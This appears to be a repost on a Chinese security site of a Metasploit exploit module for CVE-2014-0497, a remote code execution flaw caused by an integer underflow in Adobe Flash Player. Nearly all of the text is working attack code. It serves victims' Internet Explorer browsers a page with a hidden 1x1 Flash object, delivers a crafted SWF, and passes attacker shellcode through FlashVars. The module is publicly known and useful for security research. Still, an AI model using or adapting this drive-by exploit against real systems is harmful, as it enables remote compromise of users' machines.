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整数下溢远程执行代码

2014/5/8 作者:不详 来源: 华盟收集
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Integer Underflow Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player
        before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an
        integer underflow in several avm2 instructions, which can be turned into remote code
        execution under the context of the user, as exploited in the wild in February 2014. This
        module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP
        SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes
        rop chains for several Flash 11 versions, as exploited in the wild.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',     # vulnerability discovery and exploit in the wild
          'juan vazquez' # msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-0497' ],
          [ 'OSVDB', '102849' ],
          [ 'BID', '65327' ],
          [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ],
          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ],
          [ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ]
        ],
      'Payload'        =>
        {
          'Space' => 1024,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false
        },
      'Platform'       => 'win',
      # Versions targeted in the wild:
      # [*] Windows 8:
      #   11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14
      #   11,6,602,167, 11,6,602,171 ,11,6,602,180
      #   11,7,700,169, 11,7,700,202, 11,7,700,224
      # [*] Before windows 8:
      #   11,0,1,152,
      #   11,1,102,55, 11,1,102,62, 11,1,102,63
      #   11,2,202,228, 11,2,202,233, 11,2,202,235
      #   11,3,300,257, 11,3,300,273
      #   11,4,402,278
      #   11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149
      #   11,6,602,168, 11,6,602,171, 11,6,602,180
      #   11,7,700,169, 11,7,700,202
      #   11,8,800,97, 11,8,800,50
     'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
          :method  => "LoadMovie",
          :os_name => Msf::OperatingSystems::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\./ }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 5 2014",
      'DefaultTarget'  => 0))
  end
 
  def exploit
    @swf = create_swf
    super
  end
 
  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")
 
    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end
 
    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end
 
  def exploit_template(cli, target_info)
 
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    shellcode = get_payload(cli, target_info).unpack("H*")[0]
 
    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="id=<%=shellcode%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |
 
    return html_template, binding()
  end
 
  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }
 
    swf
  end
 
end


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